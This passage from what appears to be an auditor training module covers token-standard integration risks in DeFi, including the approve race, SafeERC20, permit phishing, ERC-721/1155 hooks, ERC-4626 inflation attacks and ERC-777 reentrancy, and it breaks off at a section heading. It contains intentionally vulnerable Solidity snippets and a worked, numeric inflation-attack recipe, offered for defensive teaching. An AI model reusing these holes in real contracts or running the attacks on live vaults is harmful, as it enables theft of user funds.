Week 07 — Token Standards & Integration Risk
“A protocol does not get drained because ERC-20 is broken. It gets drained because the developer integrated ERC-20 against a mental model of ‘a polite, well-behaved token’ — and the actual token on the other side was rude, deflationary, rebasing, fee-charging, callback-firing, or all five. The token-standard layer is where assumption-checking auditing pays the most concentrated dividends. Almost every nine-figure DeFi loss in 2020–2024 has a token-quirk co-author somewhere on the cap table.”
Tags: web3-security token erc20 erc721 erc1155 erc4626 erc777 permit integration Learner: Past Tuan-05-Vulnerability-Classes-Part-1 + Tuan-06-Vulnerability-Classes-Part-2 → ready to weaponize reentrancy / accounting knowledge against the token interface Time: 7 days (5–6h/day; one of the highest-ROI weeks for working auditors) Related: Tuan-06-Vulnerability-Classes-Part-2 · Tuan-08-DeFi-Security-AMM-Lending-Vault · Case-Cream-Iron-Bank-2021 · Case-Euler-Finance-2023 · Case-Penpie-Pendle-2024
1. Context & Why
1.1 The auditor’s reframe of “token integration”
Most developers treat ERC-20 as an interface. To an auditor, a token is a foreign untrusted contract you are forced to share state with. Specifically:
- It runs its code in the middle of your state transitions (transfer, transferFrom, permit, callbacks).
- It returns its version of the truth about balances and allowances, which need not match what you asked for.
- Its code can be upgraded out from under you (USDC, USDT, most stablecoins live behind proxies).
- Its admin can pause transfers, blacklist addresses, or freeze balances at any time.
- Different deployments of “the same” standard differ in subtle ways: revert behaviour on zero amounts, return values, callback firing order, decimals.
The job this week: build the catalogue of those differences and the integration patterns that survive them. By Friday you should reflexively answer the four questions for any token your protocol touches:
- Return value semantics: does
transferreturn bool? always? doesfalseever come back instead of revert? - Balance semantics: does
balanceOf(me)go up by exactlyamountafter a transfer? Or less (fee-on-transfer), or more (rebase), or change independently of any transfer? - Callback semantics: does the token call into me or the counterparty during transfer? Where in my state machine?
- Trust semantics: who can pause / blacklist / upgrade the token? What is my fallback?
A protocol that doesn’t have crisp answers for every token in its support list has an open finding. That’s almost every protocol.
1.2 The two integration failure modes (memorize)
A. The protocol believes the token’s interface; the token’s behaviour diverges; the protocol mis-accounts → loss.
B. The token executes attacker code (via a callback hook or upgrade) in the middle of the protocol’s state transition; reentrancy or trust violation → loss.
Every bug this week is one of these. Cream/Iron Bank is (B) via ERC-777. Fee-on-transfer staking bugs are (A) via balance accounting. Inflation attacks on ERC-4626 are (A) via rounding direction the dev “didn’t think about”. USDT-on-old-codebases is (A) via missing-return-value.
1.3 What you’ll be able to do by Friday
- Write a fee-on-transfer staking-bug PoC where the staker receives credit for tokens that never arrived in the contract.
- Write an ERC-4626 inflation attack PoC that drains a fresh vault from a 1-wei first deposit + a donation.
- Write an ERC-777 reentrancy PoC mimicking the Cream / Iron Bank shape: borrow →
tokensReceived→ re-borrow. - State, for every function in OpenZeppelin’s
SafeERC20, exactly what it does and what the unsafe-equivalent breaks. - Audit a Permit2 integration: trace the permission flow, confirm nonce model, deadline, spender, witness.
- Spot in <30s an
IERC20.transfer(...)(not SafeERC20) in production code and explain why it’s a finding.
1.4 Primary references
| Source | URL | Status |
|---|---|---|
| EIP-20 — Token Standard | https://eips.ethereum.org/EIPS/eip-20 | Final |
| EIP-721 — NFT Standard | https://eips.ethereum.org/EIPS/eip-721 | Final |
| EIP-1155 — Multi Token Standard | https://eips.ethereum.org/EIPS/eip-1155 | Final |
| EIP-4626 — Tokenized Vault | https://eips.ethereum.org/EIPS/eip-4626 | Final |
| EIP-777 — Token w/ send-hooks | https://eips.ethereum.org/EIPS/eip-777 | Final (but discouraged for new deployments — see §6) |
EIP-2612 — permit for ERC-20 | https://eips.ethereum.org/EIPS/eip-2612 | Final |
| OpenZeppelin Contracts 5.x — ERC20 / SafeERC20 / ERC4626 | https://docs.openzeppelin.com/contracts/5.x | Current |
| OZ — “A Novel Defense Against ERC4626 Inflation Attacks” | https://www.openzeppelin.com/news/a-novel-defense-against-erc4626-inflation-attacks | Current |
| Uniswap Permit2 repo | https://github.com/Uniswap/permit2 | Current; canonical singleton at 0x000000000022D473030F116dDEE9F6B43aC78BA3 on all major EVM chains |
| Uniswap Permit2 docs | https://developers.uniswap.org/contracts/permit2/overview | Current |
| d-xo/weird-erc20 — the canonical weird-token catalogue | https://github.com/d-xo/weird-erc20 | Current |
| Trust Security — Token integration findings (blog) | https://trust-security.xyz/blog | Current |
| Euler — “Exchange Rate Manipulation in ERC4626 Vaults” | https://www.euler.finance/blog/exchange-rate-manipulation-in-erc4626-vaults | Current |
| Cream Finance — AMP post-mortem (2021) | https://medium.com/cream-finance/c-r-e-a-m-finance-post-mortem-amp-exploit-6ceb20a630c5 | Historical (incident reference) |
| Solodit (filter “ERC4626” / “ERC777” / “permit” / “fee-on-transfer”) | https://solodit.cyfrin.io/ | Current |
2. ERC-20 Deep Dive — Beyond transfer(to, amount)
2.1 The standard, precisely
ERC-20 (EIP-20, Final) defines exactly nine externally visible behaviours:
// Read
function name() external view returns (string); // OPTIONAL
function symbol() external view returns (string); // OPTIONAL
function decimals() external view returns (uint8); // OPTIONAL
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
// Write
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
// Events
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);Three audit-relevant facts the spec does not mandate:
- What
transferreturns on failure. The spec says “callers MUST handlefalse”, but historically (USDT, BNB) tokens don’t return anything — they revert on failure with no bool. ABI-decoding empty return data crashes naive callers. - Whether
transfer(to, 0)succeeds, reverts, or no-ops. Different tokens differ. - Whether the implementation has a single canonical address. USDT, USDC, BNB, OMG: same logical token, multiple deployed addresses (esp. across L2 bridges and legacy migrations).
Everything in §2.2–§2.5 below is the auditor’s catalogue of how implementations diverge from the polite-token mental model.
2.2 The approve / transferFrom flow and its race
The intended flow:
- Alice owns 100 tokens, wants to grant Bob (a contract) permission to spend 50.
- Alice calls
token.approve(bob, 50). State:allowance[alice][bob] = 50. - Bob later calls
token.transferFrom(alice, bob, 50). State: balance moves, allowance drops to 0.
2.2.1 The classic approve race
Alice currently has allowance[alice][bob] = 50. She wants to change it to 100. She calls approve(bob, 100).
If Bob is malicious and faster than Alice’s tx is mined, Bob can front-run:
- Bob calls
transferFrom(alice, bob, 50)— drains the old allowance. - Alice’s
approve(bob, 100)lands. - Bob calls
transferFrom(alice, bob, 100)— drains the new allowance.
Total drained: 150 (instead of intended-max 100).
Historical mitigation: “approve(0) first, then approve(N)“. UI-level. Two transactions. The ERC-20 spec explicitly mentions this in the rationale.
Modern mitigations:
increaseAllowance(spender, delta)/decreaseAllowance(spender, delta)— non-standard but widely adopted; OpenZeppelin removed them in v5.0 in favor ofsafeIncreaseAllowance/safeDecreaseAllowanceinSafeERC20. [verify your OZ version]- EIP-2612
permit— atomic approve+spend in one tx so no window between. - Permit2’s
SignatureTransfer— one-shot, expires immediately.
Note: some tokens (USDT, KNC) actively block “set non-zero allowance over non-zero allowance” by reverting. Code that does approve(spender, N) over an existing non-zero allowance reverts. This is precisely why safeApprove got deprecated and replaced with forceApprove.
2.2.2 The non-standard return-value problem
// USDT historically (and on Ethereum mainnet to this day):
function transfer(address _to, uint _value) public {
// ... no return statement
}If a Solidity caller wrote:
require(token.transfer(to, amt)); // reverts on USDT — empty return data, can't decode bool…the call reverted before ever reaching the require. The early DeFi era is littered with protocols that “didn’t support USDT” because of this single line.
Conversely, if a caller wrote:
token.transfer(to, amt); // ignores return value — accepts silent `false` on compliant tokens…a token that returns false on insufficient balance (e.g., compliant ERC-20 on a path where the wrapper handles failure as return false instead of revert) silently no-ops the transfer. The protocol records a successful transfer that never happened.
The fix to both: SafeERC20.
2.3 SafeERC20 — what it actually does
OpenZeppelin’s SafeERC20 is a thin wrapper that uses low-level call and inspects the return data manually. Pseudo-implementation of safeTransfer:
function safeTransfer(IERC20 token, address to, uint256 value) internal {
bytes memory data = abi.encodeWithSelector(token.transfer.selector, to, value);
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return value provided: must decode to true.
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
// If returndata.length == 0 (USDT case), success of the call is enough.
}The function inventory (OpenZeppelin Contracts 5.x):
| Function | What it does | What unsafe-equivalent breaks |
|---|---|---|
safeTransfer(token, to, amount) | Calls transfer; succeeds on bool-true OR empty-returndata | Naive require(token.transfer(...)) reverts on USDT |
safeTransferFrom(token, from, to, amount) | Same handling for transferFrom | Same |
safeApprove(token, spender, value) | DEPRECATED in v5. Reverted if existing allowance non-zero and new value non-zero | Cannot atomically update USDT-style allowance; users got stuck |
forceApprove(token, spender, value) | Sets allowance to value regardless of prior state; for non-cooperative tokens, internally does approve(0) then approve(value) | Replaces safeApprove; handles the “must zero first” tokens |
safeIncreaseAllowance(token, spender, addedValue) | Reads current allowance, calls forceApprove(spender, current + added) | Prevents the approve-race by additive update |
safeDecreaseAllowance(token, spender, subtractedValue) | Mirror of above | Underflow-safe approval reduction |
safePermit(token, owner, spender, value, deadline, v, r, s) | Calls permit; if it fails (token doesn’t implement permit or signature replay raced), falls back to verifying allowance was set | Resilient to “someone else used my permit first” griefing (front-running) |
Audit reflex: any function on a token that’s not prefixed with safe (other than the read-only ones) in production code is a finding. No exceptions for “but we’re sure this token is well-behaved” — the assumption is brittle (the token might be upgraded later).
2.3.1 Why safeApprove was deprecated
safeApprove enforced the spec’s “set to zero first” rule by reverting if you tried to set a non-zero over a non-zero. In practice this made it useless for the integrations that needed it most:
// safeApprove pattern:
token.safeApprove(spender, 0); // first, zero it
token.safeApprove(spender, newAmt); // then set newBut if the second call reverted (USDT race), the contract was now stuck at zero — a different bug. forceApprove solves this by internally doing the dance even on non-cooperative tokens:
function forceApprove(IERC20 token, address spender, uint256 value) internal {
bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);
if (!_callOptionalReturnBool(token, approvalCall)) {
// approve reverted (probably USDT-race); zero first, then retry.
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
_callOptionalReturn(token, approvalCall);
}
}2.4 EIP-2612 permit — signed allowance
permit(owner, spender, value, deadline, v, r, s) lets the owner sign an off-chain message that grants spender an allowance of value until deadline. The spender (or anyone) submits the signature. Atomic approve-and-spend in one tx if the spender wraps it.
The signed payload (EIP-712 typed data):
Permit(address owner, address spender, uint256 value, uint256 nonce, uint256 deadline)
Replay protection comes from:
nonce— incremented in the token’s storage per owner per use; signed once, used once.deadline— absolute Unix timestamp after which the signature is dead.- The EIP-712 domain separator binds to
(name, version, chainId, address(token))— prevents cross-chain, cross-contract replay.
2.4.1 Audit hazards on permit
| Hazard | Detail |
|---|---|
| Front-running griefing | A user signs permit, the protocol’s permitAndDoX(...) wraps the permit + the action in one tx. An attacker observes the mempool, extracts (v, r, s), submits permit(...) alone. The next time the user’s permitAndDoX lands, permit fails (nonce consumed). The user’s tx reverts. They lose gas but no funds — but the action is denied. Mitigation: catch the permit-revert and check allowance already covers value; OZ safePermit does this. |
| No chain-id rebind on fork | A token caches DOMAIN_SEPARATOR in the constructor without re-checking block.chainid. Post-fork, old signatures replay on new chain. OZ’s EIP712.sol recomputes if mismatch. |
| No expiry on long-lived signatures | deadline = type(uint256).max (sometimes used “for UX”) means the signed permit is forever-valid. If the user’s machine is later compromised, the signature is still good. |
owner = address(0) returned by ecrecover | Always check signer != address(0) (EIP-2612 spec mandates this — “MUST revert if owner is the zero address”). Sloppy implementations don’t. |
| Permit-to-contract | If the protocol assumes owner is an EOA (EOA signed it), but owner is actually a smart-account address, ecrecover fails. Modern integrations need ERC-1271 + EIP-6492 fallback. |
| Phishing attack vector | The dominant 2024 wallet-drainer pattern is “user signs an off-chain permit thinking it’s a connect signature”. Over $55M lost to permit-phishing in January 2024 alone per Triathon/Veritas surveys. Protocol-level mitigation is limited; wallet-level + dApp-frontend hygiene matters more. |
2.5 Permit2 (Uniswap singleton)
Permit2 is a singleton contract deployed at the canonical address 0x000000000022D473030F116dDEE9F6B43aC78BA3 (same on Ethereum, Arbitrum, Optimism, Base, Polygon, BSC, and other major EVM chains — vanity-CREATE2’d by Uniswap).
Architecturally it bundles two systems behind one address:
flowchart TD U[User] -->|1. classic approve| T[ERC-20 Token] T -->|Permit2 has<br>infinite allowance| P[Permit2 Singleton] U -->|2. signs| Msg[Permit2 message] Msg -->|submitted| P P -->|3. moves tokens| C[Integrating Contract] C --> T style P fill:#fff2cc
Step 1 (one-time per user per token): user calls token.approve(Permit2, type(uint256).max).
Step 2 (per action): user signs a Permit2 message. The integrating contract submits it.
Step 3: Permit2 pulls tokens from user to recipient (which is either the integrating contract or wherever the signature says).
2.5.1 AllowanceTransfer vs SignatureTransfer
Permit2 exposes two flows:
| Flow | When used | Nonce model | Lifecycle |
|---|---|---|---|
| AllowanceTransfer | Repeated spending by the same spender (e.g., a router used multiple times) | Sequential nonces per (owner, token, spender) tuple | Allowance persists between txs; has an expiration field |
| SignatureTransfer | One-shot, single-spend (e.g., a single swap) | Non-monotonic / unordered nonces (a bitmap of used nonces); each signature has its own nonce | Permission exists only for the one tx that submits the signature |
The non-monotonic nonce in SignatureTransfer is important: signatures can be submitted out of order, and if one signature is dropped (front-run, mempool censorship), the others still work. By contrast, EIP-2612’s monotonic nonce means one stuck signature stalls everything.
2.5.2 Permit2 integration audit checklist
When you see a contract integrating Permit2:
- Is the spender in the signed payload set to the integrating contract, not some user-controlled address? (Bug: spender = attacker → attacker pulls user’s tokens via Permit2.)
- Is the deadline reasonable (minutes, not years)?
- Is the witness (for SignatureTransfer’s
permitWitnessTransferFrom) bound to the action being performed? (Otherwise a signature for “swap” can be replayed as a signature for “deposit”.) - Is the contract checking that Permit2 itself is the canonical address (not a substitute)?
- Does the contract correctly handle the case where the user has not yet approved Permit2 for this token? (Should revert cleanly, not consume the signature.)
- For SignatureTransfer, is the nonce chosen by the user (not by an attacker), and is the contract reading it from the signed payload (not from a separate parameter)?
- Approve-and-forget risk: every Permit2-integrated contract is now in the user’s blast radius if it’s compromised. Trace upgrade authority on every such contract.
The concentration risk of Permit2 is real: a single contract with maximal allowance from millions of users to billions of dollars of TVL. So far it has held; the audit posture should not become complacent.
3. ERC-721 — NFTs as Reentrancy Surfaces
3.1 The standard refresher
ERC-721 represents non-fungible tokens. Audit-relevant functions:
function transferFrom(address from, address to, uint256 tokenId) external;
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool approved) external;
function getApproved(uint256 tokenId) external view returns (address);
function isApprovedForAll(address owner, address operator) external view returns (bool);3.2 safeTransferFrom + onERC721Received — the reentrancy entry
When safeTransferFrom lands on a contract recipient, the token contract invokes:
IERC721Receiver(to).onERC721Received(operator, from, tokenId, data) returns (bytes4);If the receiver returns the magic value IERC721Receiver.onERC721Received.selector (== 0x150b7a02), the transfer is accepted. Otherwise, the entire safeTransferFrom reverts.
This is a callback into untrusted code during a token transfer. If your protocol calls safeTransferFrom and then updates state, the receiver can call back into your protocol mid-transfer.
3.2.1 The pattern that gets drained
// Vulnerable NFT marketplace
function buy(uint256 listingId) external payable {
Listing memory l = listings[listingId];
require(msg.value >= l.price, "underpaid");
// ❌ External call (safeTransferFrom) BEFORE state cleanup
IERC721(l.nft).safeTransferFrom(l.seller, msg.sender, l.tokenId);
// attacker re-enters here in onERC721Received and calls buy(listingId) again
delete listings[listingId];
payable(l.seller).transfer(l.price);
}The attacker’s onERC721Received calls marketplace.buy(listingId) a second time. The listing still exists (delete happens after the callback). They buy the NFT a second time → seller gets paid twice from the marketplace’s escrow, or buyer drains an over-collateralized escrow, etc.
Fix: CEI. Delete state before the external call, or use nonReentrant.
function buy(uint256 listingId) external payable nonReentrant {
Listing memory l = listings[listingId];
require(msg.value >= l.price, "underpaid");
delete listings[listingId]; // ← state change BEFORE call
payable(l.seller).transfer(l.price);
IERC721(l.nft).safeTransferFrom(l.seller, msg.sender, l.tokenId);
}3.3 setApprovalForAll — the wallet drainer pattern
setApprovalForAll(operator, true) is a blanket approval for the operator to transfer every NFT the owner currently holds and any they will ever hold under this contract. There is no amount, no expiry.
This is the foundation of every wallet-drainer scam:
- Phishing site convinces user to sign
setApprovalForAll(scammer, true)on a high-value NFT collection. - The signature looks innocuous in a hardware-wallet display (“approve operator”).
- Scammer’s contract waits, then yanks the user’s NFTs at any future time.
Protocol audit angle: if your protocol is a marketplace, it likely requires setApprovalForAll from users. The escrow address is now a highly attractive target — compromise of that contract drains every user’s NFTs. Treat its upgrade authority and reentrancy posture as critical.
User-side mitigation: revoke.cash, wallet UX (Rabby, Frame) warning on setApprovalForAll, hardware-wallet decoded signing.
3.4 Receiver hook gas griefing
The onERC721Received callback can consume up to all forwarded gas. If your contract calls safeTransferFrom in a loop (airdrop, mass-transfer), a single malicious receiver burning gas can DoS the whole batch.
// Vulnerable airdrop
for (uint i = 0; i < recipients.length; i++) {
nft.safeTransferFrom(address(this), recipients[i], i); // any recipient can burn all gas
}A recipients[k] that is a contract whose onERC721Received runs while (gasleft() > 0) {} halts the entire loop. The airdrop fails for everyone after index k.
Mitigations:
- Use plain
transferFromif you trust recipients are EOAs (UX trade-off: contracts can’t hold NFTs). - Cap forwarded gas via assembly call.
- Push → pull: list recipients, each claims their own NFT, isolating the failure.
4. ERC-1155 — Same Hazards, Plus Length Mismatch
ERC-1155 is a multi-token standard: one contract holds many token IDs and tracks per-(id, holder) balances. Single safeTransferFrom and batched safeBatchTransferFrom.
4.1 The receiver hooks
interface IERC1155Receiver {
function onERC1155Received(
address operator, address from, uint256 id, uint256 value, bytes calldata data
) external returns (bytes4);
function onERC1155BatchReceived(
address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data
) external returns (bytes4);
}Same hazard as ERC-721: callbacks fire on contract recipients during transfer. Same reentrancy and gas-grief patterns apply.
4.2 Length-mismatch DoS / silent miscounting
The spec mandates revert when ids.length != values.length:
function safeBatchTransferFrom(
address from, address to, uint256[] calldata ids, uint256[] calldata values, bytes calldata data
) external {
require(ids.length == values.length, "length mismatch");
// ... process
}But protocols that consume batch events from ERC-1155 must independently re-validate this. A non-compliant ERC-1155 (or a non-standard fork) might emit TransferBatch events with mismatched array lengths. Off-chain indexers that don’t check can mis-credit.
On-chain, if your contract has a function like:
function distribute(uint256[] calldata ids, uint256[] calldata amounts) external {
require(ids.length == amounts.length, "len");
for (uint i; i < ids.length; ++i) {
nft1155.safeTransferFrom(address(this), msg.sender, ids[i], amounts[i], "");
}
}…remember that during one of those transfers, your msg.sender’s onERC1155Received can call back into you. Each iteration is an external call.
4.3 Batch transfers as MEV / sandwich targets
Less classical but worth flagging: batch transfers expose a recipient to ordering attacks if any of the IDs have price-sensitive secondary markets. Auditors of trading-pair-aware NFT systems should reason about whether a sandwicher could observe the batch and front-run a sub-transfer.
5. ERC-4626 — Tokenized Vaults and the Inflation Attack
This is the most concentrated audit-value section of the week. If your protocol is any kind of vault, lending pool, or staking contract that issues a share token against a deposit, read this twice.
5.1 The standard
EIP-4626 defines a uniform interface for “deposit some underlying asset, get vault shares; redeem shares, get back proportional assets”. The core functions:
// Conversion (read-only, must not revert)
function totalAssets() external view returns (uint256);
function convertToShares(uint256 assets) external view returns (uint256);
function convertToAssets(uint256 shares) external view returns (uint256);
// Preview (with fees, slippage, etc.)
function previewDeposit(uint256 assets) external view returns (uint256);
function previewMint(uint256 shares) external view returns (uint256);
function previewWithdraw(uint256 assets) external view returns (uint256);
function previewRedeem(uint256 shares) external view returns (uint256);
// State-changing
function deposit(uint256 assets, address receiver) external returns (uint256 shares);
function mint(uint256 shares, address receiver) external returns (uint256 assets);
function withdraw(uint256 assets, address receiver, address owner) external returns (uint256 shares);
function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets);5.2 The accounting model
The vault holds totalAssets() of underlying token and has issued totalSupply() shares. The share-price equation is straightforward:
sharePrice = totalAssets / totalSupply (when totalSupply > 0)
= 1 (when totalSupply == 0, conventionally)
When a user deposits assets, they receive:
shares = assets * totalSupply / totalAssets (rounded down per spec)
When a user redeems shares, they receive:
assets = shares * totalAssets / totalSupply (rounded down per spec)
5.3 Rounding direction — protocol-favoring
The EIP-4626 spec explicitly mandates rounding direction must always favor the protocol over the user. Two cases:
| Action | Quantity computed | Direction | Why |
|---|---|---|---|
deposit(assets) | shares minted | down | User puts in assets, gets fewer shares than the exact ratio would imply. Vault keeps the dust. |
mint(shares) | assets pulled | up | User wants shares, vault charges slightly more assets. Vault wins the rounding. |
withdraw(assets) | shares burned | up | User wants assets out, must burn slightly more shares. |
redeem(shares) | assets paid out | down | User redeems shares, gets slightly less assets. |
Two reads of this:
- Pro-protocol: vault never under-charges users; precision losses accrue to the vault (and thus to remaining shareholders).
- Anti-user-at-margin: a user depositing a very small amount could receive zero shares. This is normal. Worse: it’s the substrate of the inflation attack.
convertToShares and convertToAssets (the non-preview versions) MUST always round down. They are explicitly NOT for pricing — the spec warns implementers and integrators that preview* functions are manipulable and not safe oracles.
5.4 The inflation / first-depositor / donation attack
This is the canonical 4626 bug. Variants drained Cream-V2 era vaults, several Yearn-fork vaults, and were discoverable in dozens of competitive audits in 2022–2023.
5.4.1 Mechanics — narrative
Vault is freshly deployed. totalSupply == 0, totalAssets == 0.
- Attacker: deposits 1 wei of
asset. BecausetotalSupply == 0, vault mints 1 share for 1 wei. NowtotalSupply == 1,totalAssets == 1. - Attacker: directly
transfers 10_000 * 10^18 wei (10,000 tokens) to the vault address. This is a raw ERC-20 transfer, not a deposit — it bumpsbalanceOf(vault)but does not mint shares. NowtotalSupply == 1,totalAssets == 10_000_000_000_000_000_000_001(~10,000 tokens + 1 wei). - The share price is now
~10_000 tokens per share. - Victim: deposits 9_999 tokens, expecting ~9_999 shares. The math:
Victim receives zero shares. Their 9_999 tokens are now part ofshares = victim_assets * totalSupply / totalAssets = 9_999e18 * 1 / 10_000e18 = 0 (rounds down)totalAssets, owned proportionally by… existing shareholders (i.e., the attacker, who holds 1 share = 100% of supply). - Attacker: redeems their 1 share, gets back all ~19,999 tokens.
Net: attacker invested 10,000.000000000000000001 tokens, withdrew 19,999 tokens. Victim deposited 9,999 tokens and got nothing.
In practice, attackers front-run the first legitimate deposit — they don’t need to wait for a victim, they create the victim’s loss by front-running.
5.4.2 Mechanics — numerical worked example
Let underlying have 18 decimals. Empty vault.
| Step | Actor | Action | totalSupply | totalAssets | Effect |
|---|---|---|---|---|---|
| 0 | – | initial | 0 | 0 | – |
| 1 | Attacker | deposit(1) | 1 | 1 | mints 1 share for 1 wei |
| 2 | Attacker | IERC20.transfer(vault, 100e18) | 1 | 100e18 + 1 | ”donation” inflates assets |
| 3 | Victim | deposit(50e18) → shares = 50e18 * 1 / (100e18 + 1) = 0 (rounds down) | 1 | 150e18 + 1 | victim gets 0 shares |
| 4 | Attacker | redeem(1) → assets = 1 * (150e18 + 1) / 1 = 150e18 + 1 | 0 | 0 | takes everything |
Attacker P/L: deposited 100e18 + 1, withdrew 150e18 + 1. Profit 50e18 — entirely the victim’s deposit.
If the attacker can front-run multiple deposits before redeeming, profits compound. Capital required = (roughly) twice the cumulative victim deposit.
5.4.3 Why the spec doesn’t fix this directly
EIP-4626 leaves the choice of “first-deposit handling” to the implementer because there’s no universally correct answer:
- A vault that wraps a single underlying with no fee structure can use
assets:shares = 1:1at first deposit and never permit adonate-and-inflatebecause the share supply tracks asset balance via internal bookkeeping (notbalanceOf(this)). - A vault that wraps a strategy whose
totalAssets()reads from an external source has no clean answer.
The bug is in implementations that compute totalAssets() as IERC20(asset).balanceOf(address(this)) — which is what naive implementations do, because the spec says totalAssets() returns the total managed by the vault. Of course it reads balanceOf; donation pollutes that reading.
5.4.4 Mitigation 1: OpenZeppelin virtual shares (the new default)
OZ’s ERC4626.sol (v5.x) adds a virtual offset to both shares and assets in the conversion math. The exchange-rate computation is effectively:
shares = (assets * (totalSupply() + 10^decimalsOffset)) / (totalAssets() + 1)
assets = (shares * (totalAssets() + 1)) / (totalSupply() + 10^decimalsOffset)
Where _decimalsOffset() is overridable per-vault (default 0; recommended 3–6 in production). The virtual 1 asset and 10^δ shares create a non-zero denominator and a phantom anchor share-price even when the vault is empty.
The attacker’s profit equation:
attacker_loss = (donation) / (1 + attacker_deposit + 10^δ * scale)
With δ = 6, every wei of donation costs the attacker ~10^6 more than it gains them. Inflation becomes economically pointless; the vault absorbs the donation as a gift to all shareholders (proportional to their share of totalSupply() + 10^δ, which is initially nearly all virtual — i.e., nobody gets the donation, it’s burned).
Trade-off: with δ set, the very first depositor’s shares are dust relative to the virtual supply, which is fine — they still get the correct proportion of vault value. Later depositors get the same.
5.4.5 Mitigation 2: dead-shares lock at deploy
Alternative: at deployment, the vault deposits a small amount of underlying (say 10_000 wei) and mints shares to address(0) or to the vault itself (a non-redeemable address). This makes totalSupply non-zero from the start, neutralizing the attack vector.
Used by: Morpho, Balancer V2 pools (technically a different standard, same idea: “burn the first minimum liquidity”).
Trade-offs:
- Caller of
initialize()provides the seed capital — usually the deployer (acceptable cost). - The dead shares dilute future depositors slightly, but the dilution is bounded and predictable.
5.4.6 Mitigation 3: internal accounting (avoid balanceOf(this))
Track totalAssets as an internal storage variable updated on every deposit/withdraw/yield-claim, not as IERC20.balanceOf(address(this)). Direct token transfers (donations) no longer affect the share price.
Trade-off: the vault must reconcile against actual balance periodically (otherwise stuck assets accumulate); yield from rebasing or auto-compounding strategies needs an explicit harvest() to be reflected.
This is what Yearn V3 vaults and Euler v2 use. It’s the strongest mitigation but the most invasive to implement.
5.4.7 What an auditor flags
For any ERC-4626 vault:
- Does
totalAssets()read frombalanceOf(this), or from internal accounting? - If the former: is there a virtual-shares/decimals-offset defense (OZ-style)? What’s the offset?
- If neither: is there a dead-shares lock at deploy?
- None of the above → Critical / High finding “ERC-4626 inflation attack: first depositor can drain subsequent deposits”.
5.5 Slippage protection — preview vs actual
Even with inflation mitigations, a depositor’s actual share count can differ from previewDeposit(assets) due to:
- A race with another deposit / withdraw between preview and tx mining.
- A donation between them.
- A rebase / yield-event between them.
Routers that do vault.deposit(assets, user) without a slippage bound have no protection against being filled at an unexpected rate. The auditor’s checklist:
- Does the user-facing entry point accept a
minShares(for deposit) /minAssets(for redeem) parameter and revert if not met? - Is the slippage check after the actual
deposit()returns (using the return value), not based on a re-read ofpreviewDeposit(which can be re-manipulated)?
function depositWithSlippage(uint256 assets, uint256 minShares) external returns (uint256 shares) {
asset.safeTransferFrom(msg.sender, address(this), assets);
asset.safeIncreaseAllowance(address(vault), assets);
shares = vault.deposit(assets, msg.sender);
require(shares >= minShares, "slippage");
}6. ERC-777 — Send Hooks and the Reentrancy Vector That Built Cream
EIP-777 was designed in 2017 to “fix” ERC-20: add hooks for senders and receivers, leverage ERC-1820 for registration, and be ERC-20-compatible so existing wallets work. In hindsight it added a reentrancy surface that has caused $20M+ in losses and is now widely shunned.
6.1 The hooks
ERC-777 invokes two hooks during transfers, via the ERC-1820 registry:
tokensToSend(operator, from, to, amount, userData, operatorData)— called onfrom(iffromregistered an implementer) before the balance is debited.tokensReceived(operator, from, to, amount, userData, operatorData)— called onto(iftoregistered an implementer, or iftohas code) after the balance is credited.
The hook calls happen during the standard send, transfer, transferFrom, and operatorSend flows. Even if a token claims ERC-20 compatibility, when called via the ERC-777-style path, the hooks still fire.
6.2 The Cream / Iron Bank shape (2021, ~$18.8M)
Cream supported AMP as collateral. AMP is an ERC-777 token. The vulnerable code path (simplified):
function borrow(uint256 amount) external nonReentrant { // ← lock on THIS function
// checks...
accrueInterest();
// ...
doTransferOut(borrower, amount); // ← sends AMP, fires tokensReceived
accountBorrows[borrower].principal = newPrincipal; // ← state update AFTER transfer
}The nonReentrant lock was per-function, and the attacker’s contract didn’t re-enter borrow() on the same cToken — they re-entered a different cToken’s borrow(), which had its own (unlocked) state.
Attack flow:
- Attacker deposits AMP as collateral on cAMP.
- Calls
cETH.borrow(amount). cETH.borrowcallsdoTransferOut→ sends ETH (or wrapped ETH transfer via AMP path in some versions).- The actual exploited flow was: attacker’s collateral was AMP; the
borrowfunction oncAMPitself (or a related cToken) transferred AMP to attacker; AMP’stokensReceivedfired in the attacker’s contract. - From inside
tokensReceived, attacker calledcETH.borrow(amount)again. - The first
borrow’s state update (accountBorrows[borrower].principal = ...) had not yet happened. Collateral was still considered fully posted. The second borrow succeeded. - Recursion: drain.
Loss: 462M AMP + 2,804 ETH (~$18.8M then). About 90% was returned by the white-hat-adjacent attacker after negotiation.
The fundamental sin: state update after the external call, in a system that doesn’t (cannot) know that the “polite ERC-20 transfer” will execute attacker code.
6.2.1 imBTC / Uniswap V1 and lendf.me
Earlier, in 2020:
- imBTC on Uniswap V1 ETH-imBTC pool: imBTC is ERC-777. A swap fires
tokensReceivedmid-swap, attacker re-enters and front-runs the reserves update. - lendf.me (a Compound fork) had the same pattern: drain via ERC-777 callback re-entering a different function.
Total losses across the ERC-777 reentrancy class: well into nine figures.
6.3 Why most modern protocols don’t accept ERC-777
The lesson the industry took: callbacks during ERC-20-compatible transfers are an unmanageable footgun. New protocols either:
- Refuse ERC-777 tokens entirely — explicit token whitelist, AMP-style tokens excluded.
- Wrap them in a no-callback ERC-20 wrapper — same idea as WETH for ETH.
- Use contract-wide reentrancy locks — every state-changing function locks the same mutex (not per-function). This handles the AMP/Cream class but accepts the gas overhead.
ERC-777 is technically Final and supported, but proposing it for a new token in 2026 is a finding by itself in many audit-firm playbooks.
6.4 Detecting ERC-777 in audit
